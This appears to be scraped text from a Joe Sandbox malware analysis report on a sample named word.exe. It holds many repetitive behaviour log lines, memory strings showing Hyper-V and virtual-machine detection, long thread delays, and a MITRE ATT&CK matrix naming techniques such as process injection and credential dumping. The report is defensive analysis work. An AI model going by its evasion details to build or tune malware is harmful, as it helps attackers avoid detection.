Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\word.exe	API/Special instruction interceptor: Address: 7302C33
Source: C:\Users\user\Desktop\word.exe	API/Special instruction interceptor: Address: 58D2C33

Source: C:\Users\user\Desktop\word.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Memory allocated: 37E60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Memory allocated: 39E60000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\word.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\word.exe TID: 7396	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\word.exe TID: 7396	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: word.exe, 00000015.00000003.1824336160.000000003A0C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus
Source: word.exe, 00000015.00000003.1824336160.000000003A0C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service
Source: word.exe, 00000015.00000002.5981319670.0000000037E61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q!Hyper-V Hypervisor Root Partition
Source: word.exe, 00000015.00000002.5981319670.0000000037E61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q*Hyper-V Dynamic Memory Integration Service
Source: word.exe, 00000015.00000003.1818293472.000000003C7C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor
Source: word.exe, 00000015.00000003.1819484760.000000003C793000.00000004.00000020.00020000.00000000.sdmp, word.exe, 00000015.00000003.1822603900.000000003C793000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid Partitiona
Source: word.exe, 00000015.00000003.1822177141.000000003C91C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %u<WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Process
Source: word.exe, 00000015.00000002.5981319670.0000000037E61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q$Hyper-V Hypervisor Logical Processor
Source: word.exe, 00000015.00000003.1821690930.000000003C7F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6242WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot
Source: word.exe, 00000015.00000002.5981319670.0000000037E61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q!Hyper-V Virtual Machine Bus Pipes
Source: word.exe, 00000015.00000002.5981319670.0000000037E61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q)Hyper-V Hypervisor Root Virtual Processor
Source: word.exe, 00000015.00000002.5981319670.0000000037E61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor
Source: word.exe, 00000015.00000002.5981319670.0000000037E61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partition
Source: word.exe, 00000015.00000003.1826101326.000000003A0B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Servicelm
Source: word.exe, 00000015.00000003.1824336160.000000003A0C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipes'

Source: C:\Users\user\Desktop\word.exe	API call chain: ExitProcess graph end node			graph_0-4259
Source: C:\Users\user\Desktop\word.exe	API call chain: ExitProcess graph end node			graph_0-4423

Source: C:\Users\user\Desktop\word.exe	Queries volume information: C:\Users\user\Desktop\word.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\word.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Windows Service	1 Windows Service	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	11 Process Injection	NTDS	114 System Information Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report word.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
word.exe